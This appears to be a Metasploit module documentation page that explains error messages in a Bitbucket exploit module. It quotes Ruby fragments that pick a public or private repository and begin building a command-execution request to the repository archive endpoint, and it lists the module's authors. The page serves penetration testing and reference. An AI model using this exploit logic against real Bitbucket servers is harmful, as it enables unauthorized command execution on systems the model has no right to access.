Here is a relevant code snippet related to the "Bitbucket instance has no publicly available repositories" error message:

195:	    fail_with(Failure::Disconnected, 'Did not receive a response') unless res
196:	    json_data = JSON.parse(res.body)
197:	    fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data
198:	
199:	    unless json_data['size'] > 0
200:	      fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')
201:	    end
202:	
203:	    # opt for public repos unless none exist.
204:	    # Attempt to use a private repo if so
205:	    repos = json_data['values']

There doesn't appear to be any repos to use

Here is a relevant code snippet related to the "There doesn't appear to be any repos to use" error message:

206:	    possible_repos = repos.select { |repo| repo['public'] == true }
207:	    if possible_repos.empty? && @authenticated
208:	      possible_repos = repos.select { |repo| repo['public'] == false }
209:	    end
210:	
211:	    fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?
212:	    possible_repos.each do |repo|
213:	      project = repo['project']
214:	      next unless project
215:	
216:	      @project = project['key']

Failed to find a repo to use for exploit

Here is a relevant code snippet related to the "Failed to find a repo to use for exploit" error message:

216:	      @project = project['key']
217:	      @repo = repo['slug']
218:	      break if @project && @repo
219:	    end
220:	
221:	    fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo
222:	    print_good("Found public repo '#{@repo}' in project '#{@project}'!")
223:	  end
224:	
225:	  def execute_command(cmd, _opts = {})
226:	    uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')

Go back to menu.

References

See Also

Check also the following modules related to this module:

Authors

  • TheGrandPew
  • Ron Bowes
  • Jang
  • Shelby Pace

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.